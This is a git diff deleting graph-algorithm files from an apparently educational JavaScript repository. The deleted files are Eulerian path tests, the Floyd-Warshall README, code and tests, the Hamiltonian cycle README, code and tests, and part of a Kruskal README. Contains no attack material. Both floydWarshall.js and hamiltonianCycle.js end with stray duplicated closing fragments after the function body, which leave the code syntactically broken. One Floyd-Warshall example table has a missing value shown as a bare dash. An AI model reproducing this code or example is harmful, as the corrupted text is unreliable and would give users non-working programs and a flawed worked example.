-        expect(eulerianPathSet[10].getKey()).toBe(vertexA.getKey());
-    });
-    it('should find Eulerian Path in graph', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const vertexE = new GraphVertex('E');
-        const vertexF = new GraphVertex('F');
-        const vertexG = new GraphVertex('G');
-        const vertexH = new GraphVertex('H');
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        const edgeAC = new GraphEdge(vertexA, vertexC);
-        const edgeBD = new GraphEdge(vertexB, vertexD);
-        const edgeDC = new GraphEdge(vertexD, vertexC);
-        const edgeCE = new GraphEdge(vertexC, vertexE);
-        const edgeEF = new GraphEdge(vertexE, vertexF);
-        const edgeFH = new GraphEdge(vertexF, vertexH);
-        const edgeFG = new GraphEdge(vertexF, vertexG);
-        const edgeHG = new GraphEdge(vertexH, vertexG);
-        const graph = new Graph();
-        graph.addEdge(edgeAB).addEdge(edgeAC).addEdge(edgeBD).addEdge(edgeDC).addEdge(edgeCE).addEdge(edgeEF).addEdge(edgeFH).addEdge(edgeFG).addEdge(edgeHG);
-        const graphEdgesCount = graph.getAllEdges().length;
-        const eulerianPathSet = eulerianPath(graph);
-        expect(eulerianPathSet.length).toBe(graphEdgesCount + 1);
-        expect(eulerianPathSet[0].getKey()).toBe(vertexC.getKey());
-        expect(eulerianPathSet[1].getKey()).toBe(vertexA.getKey());
-        expect(eulerianPathSet[2].getKey()).toBe(vertexB.getKey());
-        expect(eulerianPathSet[3].getKey()).toBe(vertexD.getKey());
-        expect(eulerianPathSet[4].getKey()).toBe(vertexC.getKey());
-        expect(eulerianPathSet[5].getKey()).toBe(vertexE.getKey());
-        expect(eulerianPathSet[6].getKey()).toBe(vertexF.getKey());
-        expect(eulerianPathSet[7].getKey()).toBe(vertexH.getKey());
-        expect(eulerianPathSet[8].getKey()).toBe(vertexG.getKey());
-        expect(eulerianPathSet[9].getKey()).toBe(vertexF.getKey());
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/graph/floyd-warshall/README.md b/docs/content/DS_ALGO/algorithms/graph/floyd-warshall/README.md
deleted file mode 100644
index 23d9592333..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/floyd-warshall/README.md
+++ /dev/null
@@ -1,89 +0,0 @@
-# Floyd-Warshall Algorithm
-
-In computer science, the **Floyd-Warshall algorithm** is an algorithm for finding
-shortest paths in a weighted graph with positive or negative edge weights (but
-with no negative cycles). A single execution of the algorithm will find the
-lengths (summed weights) of shortest paths between all pairs of vertices. Although
-it does not return details of the paths themselves, it is possible to reconstruct
-the paths with simple modifications to the algorithm.
-
-## Algorithm
-
-The Floyd-Warshall algorithm compares all possible paths through the graph between
-each pair of vertices. It is able to do this with `O(|V|^3)` comparisons in a graph.
-This is remarkable considering that there may be up to `|V|^2` edges in the graph,
-and every combination of edges is tested. It does so by incrementally improving an
-estimate on the shortest path between two vertices, until the estimate is optimal.
-
-Consider a graph `G` with vertices `V` numbered `1` through `N`. Further consider
-a function `shortestPath(i, j, k)` that returns the shortest possible path
-from `i` to `j` using vertices only from the set `{1, 2, ..., k}` as
-intermediate points along the way. Now, given this function, our goal is to
-find the shortest path from each `i` to each `j` using only vertices
-in `{1, 2, ..., N}`.
-
-![Recursive Formula](https://wikimedia.org/api/rest_v1/media/math/render/svg/f9b75e25063384ccca499c56f9a279abf661ad3b)
-
-![Recursive Formula](https://wikimedia.org/api/rest_v1/media/math/render/svg/34ac7c89bbb18df3fd660225fd38997079e5e513)
-![Recursive Formula](https://wikimedia.org/api/rest_v1/media/math/render/svg/0326d6c14def89269c029da59eba012d0f2edc9d)
-
-This formula is the heart of the Floyd-Warshall algorithm.
-
-## Example
-
-The algorithm above is executed on the graph on the left below:
-
-![Example](https://upload.wikimedia.org/wikipedia/commons/2/2e/Floyd-Warshall_example.svg)
-
-In the tables below `i` is row numbers and `j` is column numbers.
-
-**k = 0**
-
-|       |  1  |  2  |  3  |  4  |
-| :---: | :-: | :-: | :-: | :-: |
-| **1** |  0  |  ∞  | −2  |  ∞  |
-| **2** |  4  |  0  |  3  |  ∞  |
-| **3** |  ∞  |  ∞  |  0  |  2  |
-| **4** |  ∞  | −1  |  ∞  |  0  |
-
-**k = 1**
-
-|       |  1  |  2  |  3  |  4  |
-| :---: | :-: | :-: | :-: | :-: |
-| **1** |  0  |  ∞  | −2  |  ∞  |
-| **2** |  4  |  0  |  2  |  ∞  |
-| **3** |  ∞  |  ∞  |  0  |  2  |
-| **4** |  ∞  |  −  |  ∞  |  0  |
-
-**k = 2**
-
-|       |  1  |  2  |  3  |  4  |
-| :---: | :-: | :-: | :-: | :-: |
-| **1** |  0  |  ∞  | −2  |  ∞  |
-| **2** |  4  |  0  |  2  |  ∞  |
-| **3** |  ∞  |  ∞  |  0  |  2  |
-| **4** |  3  | −1  |  1  |  0  |
-
-**k = 3**
-
-|       |  1  |  2  |  3  |  4  |
-| :---: | :-: | :-: | :-: | :-: |
-| **1** |  0  |  ∞  | −2  |  0  |
-| **2** |  4  |  0  |  2  |  4  |
-| **3** |  ∞  |  ∞  |  0  |  2  |
-| **4** |  3  | −1  |  1  |  0  |
-
-**k = 4**
-
-|       |  1  |  2  |  3  |  4  |
-| :---: | :-: | :-: | :-: | :-: |
-| **1** |  0  | −1  | −2  |  0  |
-| **2** |  4  |  0  |  2  |  4  |
-| **3** |  5  |  1  |  0  |  2  |
-| **4** |  3  | −1  |  1  |  0  |
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Floyd%E2%80%93Warshall_algorithm)
--   [YouTube (by Abdul Bari)](https://www.youtube.com/watch?v=oNI0rf2P9gE&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8&index=74)
--   [YouTube (by Tushar Roy)](https://www.youtube.com/watch?v=LwJdNfdLF9s&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8&index=75)
diff --git a/docs/content/DS_ALGO/algorithms/graph/floyd-warshall/floydWarshall.js b/docs/content/DS_ALGO/algorithms/graph/floyd-warshall/floydWarshall.js
deleted file mode 100644
index 72062f6bf1..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/floyd-warshall/floydWarshall.js
+++ /dev/null
@@ -1,76 +0,0 @@
-/**
- * @param {Graph} graph
- * @return {{distances: number[][], nextVertices: GraphVertex[][]}}
- */
-export default function floydWarshall(graph) {
-    // Get all graph vertices.
-    const vertices = graph.getAllVertices();
-    // Init previous vertices matrix with nulls meaning that there are no
-    // previous vertices exist that will give us shortest path.
-    const nextVertices = Array(vertices.length)
-        .fill(null)
-        .map(() => {
-            return Array(vertices.length).fill(null);
-        });
-    // Init distances matrix with Infinities meaning there are no paths
-    // between vertices exist so far.
-    const distances = Array(vertices.length)
-        .fill(null)
-        .map(() => {
-            return Array(vertices.length).fill(Infinity);
-        });
-    // Init distance matrix with the distance we already now (from existing edges).
-    // And also init previous vertices from the edges.
-    vertices.forEach((startVertex, startIndex) => {
-        vertices.forEach((endVertex, endIndex) => {
-            if (startVertex === endVertex) {
-                // Distance to the vertex itself is 0.
-                distances[startIndex][endIndex] = 0;
-            } else {
-                // Find edge between the start and end vertices.
-                const edge = graph.findEdge(startVertex, endVertex);
-                if (edge) {
-                    // There is an edge from vertex with startIndex to vertex with endIndex.
-                    // Save distance and previous vertex.
-                    distances[startIndex][endIndex] = edge.weight;
-                    nextVertices[startIndex][endIndex] = startVertex;
-                } else {
-                    distances[startIndex][endIndex] = Infinity;
-                }
-            }
-        });
-    });
-    // Now let's go to the core of the algorithm.
-    // Let's all pair of vertices (from start to end ones) and try to check if there
-    // is a shorter path exists between them via middle vertex. Middle vertex may also
-    // be one of the graph vertices. As you may see now we're going to have three
-    // loops over all graph vertices: for start, end and middle vertices.
-    vertices.forEach((middleVertex, middleIndex) => {
-        // Path starts from startVertex with startIndex.
-        vertices.forEach((startVertex, startIndex) => {
-            // Path ends to endVertex with endIndex.
-            vertices.forEach((endVertex, endIndex) => {
-                // Compare existing distance from startVertex to endVertex, with distance
-                // from startVertex to endVertex but via middleVertex.
-                // Save the shortest distance and previous vertex that allows
-                // us to have this shortest distance.
-                const distViaMiddle = distances[startIndex][middleIndex] + distances[middleIndex][endIndex];
-                if (distances[startIndex][endIndex] > distViaMiddle) {
-                    // We've found a shortest pass via middle vertex.
-                    distances[startIndex][endIndex] = distViaMiddle;
-                    nextVertices[startIndex][endIndex] = middleVertex;
-                }
-            });
-        });
-    });
-    // Shortest distance from x to y: distance[x][y].
-    // Next vertex after x one in path from x to y: nextVertices[x][y].
-    return {
-        distances,
-        nextVertices
-    };
-}
-nextVertices
-};
-}
-}
diff --git a/docs/content/DS_ALGO/algorithms/graph/floyd-warshall/test/floydWarshall.test.js b/docs/content/DS_ALGO/algorithms/graph/floyd-warshall/test/floydWarshall.test.js
deleted file mode 100644
index 06ae95ae18..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/floyd-warshall/test/floydWarshall.test.js
+++ /dev/null
@@ -1,163 +0,0 @@
-import GraphVertex from '../../../../data-structures/graph/GraphVertex';
-import GraphEdge from '../../../../data-structures/graph/GraphEdge';
-import Graph from '../../../../data-structures/graph/Graph';
-import floydWarshall from '../floydWarshall';
-describe('floydWarshall', () => {
-    it('should find minimum paths to all vertices for undirected graph', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const vertexE = new GraphVertex('E');
-        const vertexF = new GraphVertex('F');
-        const vertexG = new GraphVertex('G');
-        const vertexH = new GraphVertex('H');
-        const edgeAB = new GraphEdge(vertexA, vertexB, 4);
-        const edgeAE = new GraphEdge(vertexA, vertexE, 7);
-        const edgeAC = new GraphEdge(vertexA, vertexC, 3);
-        const edgeBC = new GraphEdge(vertexB, vertexC, 6);
-        const edgeBD = new GraphEdge(vertexB, vertexD, 5);
-        const edgeEC = new GraphEdge(vertexE, vertexC, 8);
-        const edgeED = new GraphEdge(vertexE, vertexD, 2);
-        const edgeDC = new GraphEdge(vertexD, vertexC, 11);
-        const edgeDG = new GraphEdge(vertexD, vertexG, 10);
-        const edgeDF = new GraphEdge(vertexD, vertexF, 2);
-        const edgeFG = new GraphEdge(vertexF, vertexG, 3);
-        const edgeEG = new GraphEdge(vertexE, vertexG, 5);
-        const graph = new Graph();
-        // Add vertices first just to have them in desired order.
-        graph
-            .addVertex(vertexA)
-            .addVertex(vertexB)
-            .addVertex(vertexC)
-            .addVertex(vertexD)
-            .addVertex(vertexE)
-            .addVertex(vertexF)
-            .addVertex(vertexG)
-            .addVertex(vertexH);
-        // Now, when vertices are in correct order let's add edges.
-        graph
-            .addEdge(edgeAB)
-            .addEdge(edgeAE)
-            .addEdge(edgeAC)
-            .addEdge(edgeBC)
-            .addEdge(edgeBD)
-            .addEdge(edgeEC)
-            .addEdge(edgeED)
-            .addEdge(edgeDC)
-            .addEdge(edgeDG)
-            .addEdge(edgeDF)
-            .addEdge(edgeFG)
-            .addEdge(edgeEG);
-        const { distances, nextVertices } = floydWarshall(graph);
-        const vertices = graph.getAllVertices();
-        const vertexAIndex = vertices.indexOf(vertexA);
-        const vertexBIndex = vertices.indexOf(vertexB);
-        const vertexCIndex = vertices.indexOf(vertexC);
-        const vertexDIndex = vertices.indexOf(vertexD);
-        const vertexEIndex = vertices.indexOf(vertexE);
-        const vertexFIndex = vertices.indexOf(vertexF);
-        const vertexGIndex = vertices.indexOf(vertexG);
-        const vertexHIndex = vertices.indexOf(vertexH);
-        expect(distances[vertexAIndex][vertexHIndex]).toBe(Infinity);
-        expect(distances[vertexAIndex][vertexAIndex]).toBe(0);
-        expect(distances[vertexAIndex][vertexBIndex]).toBe(4);
-        expect(distances[vertexAIndex][vertexEIndex]).toBe(7);
-        expect(distances[vertexAIndex][vertexCIndex]).toBe(3);
-        expect(distances[vertexAIndex][vertexDIndex]).toBe(9);
-        expect(distances[vertexAIndex][vertexGIndex]).toBe(12);
-        expect(distances[vertexAIndex][vertexFIndex]).toBe(11);
-        expect(nextVertices[vertexAIndex][vertexFIndex]).toBe(vertexD);
-        expect(nextVertices[vertexAIndex][vertexDIndex]).toBe(vertexB);
-        expect(nextVertices[vertexAIndex][vertexBIndex]).toBe(vertexA);
-        expect(nextVertices[vertexAIndex][vertexGIndex]).toBe(vertexE);
-        expect(nextVertices[vertexAIndex][vertexCIndex]).toBe(vertexA);
-        expect(nextVertices[vertexAIndex][vertexAIndex]).toBe(null);
-        expect(nextVertices[vertexAIndex][vertexHIndex]).toBe(null);
-    });
-    it('should find minimum paths to all vertices for directed graph', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const edgeAB = new GraphEdge(vertexA, vertexB, 3);
-        const edgeBA = new GraphEdge(vertexB, vertexA, 8);
-        const edgeAD = new GraphEdge(vertexA, vertexD, 7);
-        const edgeDA = new GraphEdge(vertexD, vertexA, 2);
-        const edgeBC = new GraphEdge(vertexB, vertexC, 2);
-        const edgeCA = new GraphEdge(vertexC, vertexA, 5);
-        const edgeCD = new GraphEdge(vertexC, vertexD, 1);
-        const graph = new Graph(true);
-        // Add vertices first just to have them in desired order.
-        graph.addVertex(vertexA).addVertex(vertexB).addVertex(vertexC).addVertex(vertexD);
-        // Now, when vertices are in correct order let's add edges.
-        graph.addEdge(edgeAB).addEdge(edgeBA).addEdge(edgeAD).addEdge(edgeDA).addEdge(edgeBC).addEdge(edgeCA).addEdge(edgeCD);
-        const { distances, nextVertices } = floydWarshall(graph);
-        const vertices = graph.getAllVertices();
-        const vertexAIndex = vertices.indexOf(vertexA);
-        const vertexBIndex = vertices.indexOf(vertexB);
-        const vertexCIndex = vertices.indexOf(vertexC);
-        const vertexDIndex = vertices.indexOf(vertexD);
-        expect(distances[vertexAIndex][vertexAIndex]).toBe(0);
-        expect(distances[vertexAIndex][vertexBIndex]).toBe(3);
-        expect(distances[vertexAIndex][vertexCIndex]).toBe(5);
-        expect(distances[vertexAIndex][vertexDIndex]).toBe(6);
-        expect(distances).toEqual([
-            [0, 3, 5, 6],
-            [5, 0, 2, 3],
-            [3, 6, 0, 1],
-            [2, 5, 7, 0]
-        ]);
-        expect(nextVertices[vertexAIndex][vertexDIndex]).toBe(vertexC);
-        expect(nextVertices[vertexAIndex][vertexCIndex]).toBe(vertexB);
-        expect(nextVertices[vertexBIndex][vertexDIndex]).toBe(vertexC);
-        expect(nextVertices[vertexAIndex][vertexAIndex]).toBe(null);
-        expect(nextVertices[vertexAIndex][vertexBIndex]).toBe(vertexA);
-    });
-    it('should find minimum paths to all vertices for directed graph with negative edge weights', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const vertexE = new GraphVertex('E');
-        const vertexF = new GraphVertex('F');
-        const vertexG = new GraphVertex('G');
-        const edgeFE = new GraphEdge(vertexF, vertexE, 8);
-        const edgeFA = new GraphEdge(vertexF, vertexA, 10);
-        const edgeED = new GraphEdge(vertexE, vertexD, 1);
-        const edgeDA = new GraphEdge(vertexD, vertexA, -4);
-        const edgeDC = new GraphEdge(vertexD, vertexC, -1);
-        const edgeAC = new GraphEdge(vertexA, vertexC, 2);
-        const edgeCB = new GraphEdge(vertexC, vertexB, -2);
-        const edgeBA = new GraphEdge(vertexB, vertexA, 1);
-        const graph = new Graph(true);
-        // Add vertices first just to have them in desired order.
-        graph.addVertex(vertexA).addVertex(vertexB).addVertex(vertexC).addVertex(vertexD).addVertex(vertexE).addVertex(vertexF).addVertex(vertexG);
-        // Now, when vertices are in correct order let's add edges.
-        graph.addEdge(edgeFE).addEdge(edgeFA).addEdge(edgeED).addEdge(edgeDA).addEdge(edgeDC).addEdge(edgeAC).addEdge(edgeCB).addEdge(edgeBA);
-        const { distances, nextVertices } = floydWarshall(graph);
-        const vertices = graph.getAllVertices();
-        const vertexAIndex = vertices.indexOf(vertexA);
-        const vertexBIndex = vertices.indexOf(vertexB);
-        const vertexCIndex = vertices.indexOf(vertexC);
-        const vertexDIndex = vertices.indexOf(vertexD);
-        const vertexEIndex = vertices.indexOf(vertexE);
-        const vertexGIndex = vertices.indexOf(vertexG);
-        const vertexFIndex = vertices.indexOf(vertexF);
-        expect(distances[vertexFIndex][vertexGIndex]).toBe(Infinity);
-        expect(distances[vertexFIndex][vertexFIndex]).toBe(0);
-        expect(distances[vertexFIndex][vertexAIndex]).toBe(5);
-        expect(distances[vertexFIndex][vertexBIndex]).toBe(5);
-        expect(distances[vertexFIndex][vertexCIndex]).toBe(7);
-        expect(distances[vertexFIndex][vertexDIndex]).toBe(9);
-        expect(distances[vertexFIndex][vertexEIndex]).toBe(8);
-        expect(nextVertices[vertexFIndex][vertexGIndex]).toBe(null);
-        expect(nextVertices[vertexFIndex][vertexFIndex]).toBe(null);
-        expect(nextVertices[vertexAIndex][vertexBIndex]).toBe(vertexC);
-        expect(nextVertices[vertexAIndex][vertexCIndex]).toBe(vertexA);
-        expect(nextVertices[vertexFIndex][vertexBIndex]).toBe(vertexE);
-        expect(nextVertices[vertexEIndex][vertexBIndex]).toBe(vertexD);
-        expect(nextVertices[vertexDIndex][vertexBIndex]).toBe(vertexC);
-        expect(nextVertices[vertexCIndex][vertexBIndex]).toBe(vertexC);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/graph/hamiltonian-cycle/README.md b/docs/content/DS_ALGO/algorithms/graph/hamiltonian-cycle/README.md
deleted file mode 100644
index aed0f9a74e..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/hamiltonian-cycle/README.md
+++ /dev/null
@@ -1,48 +0,0 @@
-# Hamiltonian Path
-
-**Hamiltonian path** (or **traceable path**) is a path in an
-undirected or directed graph that visits each vertex exactly once.
-A **Hamiltonian cycle** (or **Hamiltonian circuit**) is a
-Hamiltonian path that is a cycle. Determining whether such paths
-and cycles exist in graphs is the **Hamiltonian path problem**.
-
-![Hamiltonian cycle](https://upload.wikimedia.org/wikipedia/commons/6/6c/Hamiltonian_path_3d.svg)
-
-One possible Hamiltonian cycle through every vertex of a
-dodecahedron is shown in red - like all platonic solids, the
-dodecahedron is Hamiltonian.
-
-## Naive Algorithm
-
-Generate all possible configurations of vertices and print a
-configuration that satisfies the given constraints. There
-will be `n!` (n factorial) configurations.
-
-```
-while there are untried configurations
-{
-   generate the next configuration
-   if ( there are edges between two consecutive vertices of this
-      configuration and there is an edge from the last vertex to
-      the first ).
-   {
-      print this configuration;
-      break;
-   }
-}
-```
-
-## Backtracking Algorithm
-
-Create an empty path array and add vertex `0` to it. Add other
-vertices, starting from the vertex `1`. Before adding a vertex,
-check for whether it is adjacent to the previously added vertex
-and not already added. If we find such a vertex, we add the
-vertex as part of the solution. If we do not find a vertex
-then we return false.
-
-## References
-
--   [Hamiltonian path on Wikipedia](https://en.wikipedia.org/wiki/Hamiltonian_path)
--   [Hamiltonian path on YouTube](https://www.youtube.com/watch?v=dQr4wZCiJJ4&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
--   [Hamiltonian cycle on GeeksForGeeks](https://www.geeksforgeeks.org/backtracking-set-7-hamiltonian-cycle/)
diff --git a/docs/content/DS_ALGO/algorithms/graph/hamiltonian-cycle/hamiltonianCycle.js b/docs/content/DS_ALGO/algorithms/graph/hamiltonian-cycle/hamiltonianCycle.js
deleted file mode 100644
index fc53ebae4c..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/hamiltonian-cycle/hamiltonianCycle.js
+++ /dev/null
@@ -1,118 +0,0 @@
-import GraphVertex from '../../../data-structures/graph/GraphVertex';
-/**
- * @param {number[][]} adjacencyMatrix
- * @param {object} verticesIndices
- * @param {GraphVertex[]} cycle
- * @param {GraphVertex} vertexCandidate
- * @return {boolean}
- */
-function isSafe(adjacencyMatrix, verticesIndices, cycle, vertexCandidate) {
-    const endVertex = cycle[cycle.length - 1];
-    // Get end and candidate vertices indices in adjacency matrix.
-    const candidateVertexAdjacencyIndex = verticesIndices[vertexCandidate.getKey()];
-    const endVertexAdjacencyIndex = verticesIndices[endVertex.getKey()];
-    // Check if last vertex in the path and candidate vertex are adjacent.
-    if (adjacencyMatrix[endVertexAdjacencyIndex][candidateVertexAdjacencyIndex] === Infinity) {
-        return false;
-    }
-    // Check if vertexCandidate is being added to the path for the first time.
-    const candidateDuplicate = cycle.find((vertex) => vertex.getKey() === vertexCandidate.getKey());
-    return !candidateDuplicate;
-}
-/**
- * @param {number[][]} adjacencyMatrix
- * @param {object} verticesIndices
- * @param {GraphVertex[]} cycle
- * @return {boolean}
- */
-function isCycle(adjacencyMatrix, verticesIndices, cycle) {
-    // Check if first and last vertices in hamiltonian path are adjacent.
-    // Get start and end vertices from the path.
-    const startVertex = cycle[0];
-    const endVertex = cycle[cycle.length - 1];
-    // Get start/end vertices indices in adjacency matrix.
-    const startVertexAdjacencyIndex = verticesIndices[startVertex.getKey()];
-    const endVertexAdjacencyIndex = verticesIndices[endVertex.getKey()];
-    // Check if we can go from end vertex to the start one.
-    return adjacencyMatrix[endVertexAdjacencyIndex][startVertexAdjacencyIndex] !== Infinity;
-}
-/**
- * @param {number[][]} adjacencyMatrix
- * @param {GraphVertex[]} vertices
- * @param {object} verticesIndices
- * @param {GraphVertex[][]} cycles
- * @param {GraphVertex[]} cycle
- */
-function hamiltonianCycleRecursive({
-    adjacencyMatrix,
-    vertices,
-    verticesIndices,
-    cycles,
-    cycle
-}) {
-    // Clone cycle in order to prevent it from modification by other DFS branches.
-    const currentCycle = [...cycle].map((vertex) => new GraphVertex(vertex.value));
-    if (vertices.length === currentCycle.length) {
-        // Hamiltonian path is found.
-        // Now we need to check if it is cycle or not.
-        if (isCycle(adjacencyMatrix, verticesIndices, currentCycle)) {
-            // Another solution has been found. Save it.
-            cycles.push(currentCycle);
-        }
-        return;
-    }
-    for (let vertexIndex = 0; vertexIndex < vertices.length; vertexIndex += 1) {
-        // Get vertex candidate that we will try to put into next path step and see if it fits.
-        const vertexCandidate = vertices[vertexIndex];
-        // Check if it is safe to put vertex candidate to cycle.
-        if (isSafe(adjacencyMatrix, verticesIndices, currentCycle, vertexCandidate)) {
-            // Add candidate vertex to cycle path.
-            currentCycle.push(vertexCandidate);
-            // Try to find other vertices in cycle.
-            hamiltonianCycleRecursive({
-                adjacencyMatrix,
-                vertices,
-                verticesIndices,
-                cycles,
-                cycle: currentCycle
-            });
-            // BACKTRACKING.
-            // Remove candidate vertex from cycle path in order to try another one.
-            currentCycle.pop();
-        }
-    }
-}
-/**
- * @param {Graph} graph
- * @return {GraphVertex[][]}
- */
-export default function hamiltonianCycle(graph) {
-    // Gather some information about the graph that we will need to during
-    // the problem solving.
-    const verticesIndices = graph.getVerticesIndices();
-    const adjacencyMatrix = graph.getAdjacencyMatrix();
-    const vertices = graph.getAllVertices();
-    // Define start vertex. We will always pick the first one
-    // this it doesn't matter which vertex to pick in a cycle.
-    // Every vertex is in a cycle so we can start from any of them.
-    const startVertex = vertices[0];
-    // Init cycles array that will hold all solutions.
-    const cycles = [];
-    // Init cycle array that will hold current cycle path.
-    const cycle = [startVertex];
-    // Try to find cycles recursively in Depth First Search order.
-    hamiltonianCycleRecursive({
-        adjacencyMatrix,
-        vertices,
-        verticesIndices,
-        cycles,
-        cycle
-    });
-    // Return found cycles.
-    return cycles;
-}
-cycle
-});
-// Return found cycles.
-return cycles;
-}
diff --git a/docs/content/DS_ALGO/algorithms/graph/hamiltonian-cycle/test/hamiltonianCycle.test.js b/docs/content/DS_ALGO/algorithms/graph/hamiltonian-cycle/test/hamiltonianCycle.test.js
deleted file mode 100644
index d6a1a14b47..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/hamiltonian-cycle/test/hamiltonianCycle.test.js
+++ /dev/null
@@ -1,62 +0,0 @@
-import GraphVertex from '../../../../data-structures/graph/GraphVertex';
-import GraphEdge from '../../../../data-structures/graph/GraphEdge';
-import Graph from '../../../../data-structures/graph/Graph';
-import hamiltonianCycle from '../hamiltonianCycle';
-describe('hamiltonianCycle', () => {
-    it('should find hamiltonian paths in graph', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const vertexE = new GraphVertex('E');
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        const edgeAE = new GraphEdge(vertexA, vertexE);
-        const edgeAC = new GraphEdge(vertexA, vertexC);
-        const edgeBE = new GraphEdge(vertexB, vertexE);
-        const edgeBC = new GraphEdge(vertexB, vertexC);
-        const edgeBD = new GraphEdge(vertexB, vertexD);
-        const edgeCD = new GraphEdge(vertexC, vertexD);
-        const edgeDE = new GraphEdge(vertexD, vertexE);
-        const graph = new Graph();
-        graph.addEdge(edgeAB).addEdge(edgeAE).addEdge(edgeAC).addEdge(edgeBE).addEdge(edgeBC).addEdge(edgeBD).addEdge(edgeCD).addEdge(edgeDE);
-        const hamiltonianCycleSet = hamiltonianCycle(graph);
-        expect(hamiltonianCycleSet.length).toBe(8);
-        expect(hamiltonianCycleSet[0][0].getKey()).toBe(vertexA.getKey());
-        expect(hamiltonianCycleSet[0][1].getKey()).toBe(vertexB.getKey());
-        expect(hamiltonianCycleSet[0][2].getKey()).toBe(vertexE.getKey());
-        expect(hamiltonianCycleSet[0][3].getKey()).toBe(vertexD.getKey());
-        expect(hamiltonianCycleSet[0][4].getKey()).toBe(vertexC.getKey());
-        expect(hamiltonianCycleSet[1][0].getKey()).toBe(vertexA.getKey());
-        expect(hamiltonianCycleSet[1][1].getKey()).toBe(vertexB.getKey());
-        expect(hamiltonianCycleSet[1][2].getKey()).toBe(vertexC.getKey());
-        expect(hamiltonianCycleSet[1][3].getKey()).toBe(vertexD.getKey());
-        expect(hamiltonianCycleSet[1][4].getKey()).toBe(vertexE.getKey());
-        expect(hamiltonianCycleSet[2][0].getKey()).toBe(vertexA.getKey());
-        expect(hamiltonianCycleSet[2][1].getKey()).toBe(vertexE.getKey());
-        expect(hamiltonianCycleSet[2][2].getKey()).toBe(vertexB.getKey());
-        expect(hamiltonianCycleSet[2][3].getKey()).toBe(vertexD.getKey());
-        expect(hamiltonianCycleSet[2][4].getKey()).toBe(vertexC.getKey());
-        expect(hamiltonianCycleSet[3][0].getKey()).toBe(vertexA.getKey());
-        expect(hamiltonianCycleSet[3][1].getKey()).toBe(vertexE.getKey());
-        expect(hamiltonianCycleSet[3][2].getKey()).toBe(vertexD.getKey());
-        expect(hamiltonianCycleSet[3][3].getKey()).toBe(vertexB.getKey());
-        expect(hamiltonianCycleSet[3][4].getKey()).toBe(vertexC.getKey());
-    });
-    it('should return false for graph without Hamiltonian path', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const vertexE = new GraphVertex('E');
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        const edgeAE = new GraphEdge(vertexA, vertexE);
-        const edgeBE = new GraphEdge(vertexB, vertexE);
-        const edgeBC = new GraphEdge(vertexB, vertexC);
-        const edgeBD = new GraphEdge(vertexB, vertexD);
-        const edgeCD = new GraphEdge(vertexC, vertexD);
-        const graph = new Graph();
-        graph.addEdge(edgeAB).addEdge(edgeAE).addEdge(edgeBE).addEdge(edgeBC).addEdge(edgeBD).addEdge(edgeCD);
-        const hamiltonianCycleSet = hamiltonianCycle(graph);
-        expect(hamiltonianCycleSet.length).toBe(0);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/graph/kruskal/README.md b/docs/content/DS_ALGO/algorithms/graph/kruskal/README.md
deleted file mode 100644
index 61a85ba0fc..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/kruskal/README.md
+++ /dev/null
@@ -1,49 +0,0 @@
-# Kruskal's Algorithm
-
-Kruskal's algorithm is a minimum-spanning-tree algorithm which
-finds an edge of the least possible weight that connects any two
-trees in the forest. It is a greedy algorithm in graph theory
-as it finds a minimum spanning tree for a connected weighted
-graph adding increasing cost arcs at each step. This means it
-finds a subset of the edges that forms a tree that includes every
-vertex, where the total weight of all the edges in the tree is
-minimized. If the graph is not connected, then it finds a
-minimum spanning forest (a minimum spanning tree for each
-connected component).
-
-![Kruskal Algorithm](https://upload.wikimedia.org/wikipedia/commons/5/5c/MST_kruskal_en.gif)
-
-![Kruskal Demo](https://upload.wikimedia.org/wikipedia/commons/b/bb/KruskalDemo.gif)
-
-A demo for Kruskal's algorithm based on Euclidean distance.
-
-## Minimum Spanning Tree
-
-A **minimum spanning tree** (MST) or minimum weight spanning tree
-is a subset of the edges of a connected, edge-weighted
-(un)directed graph that connects all the vertices together,
-without any cycles and with the minimum possible total edge
-weight. That is, it is a spanning tree whose sum of edge weights
-is as small as possible. More generally, any edge-weighted
-undirected graph (not necessarily connected) has a minimum
-spanning forest, which is a union of the minimum spanning
-trees for its connected components.
-
-![Minimum Spanning Tree](https://upload.wikimedia.org/wikipedia/commons/d/d2/Minimum_spanning_tree.svg)
-
-A planar graph and its minimum spanning tree. Each edge is
-labeled with its weight, which here is roughly proportional
-to its length.
-
-![Minimum Spanning Tree](https://upload.wikimedia.org/wikipedia/commons/c/c9/Multiple_minimum_spanning_trees.svg)
-
-This figure shows there may be more than one minimum spanning
-tree in a graph. In the figure, the two trees below the graph
-are two possibilities of minimum spanning tree of the given graph.
-
-## References
-
--   [Minimum Spanning Tree on Wikipedia](https://en.wikipedia.org/wiki/Minimum_spanning_tree)
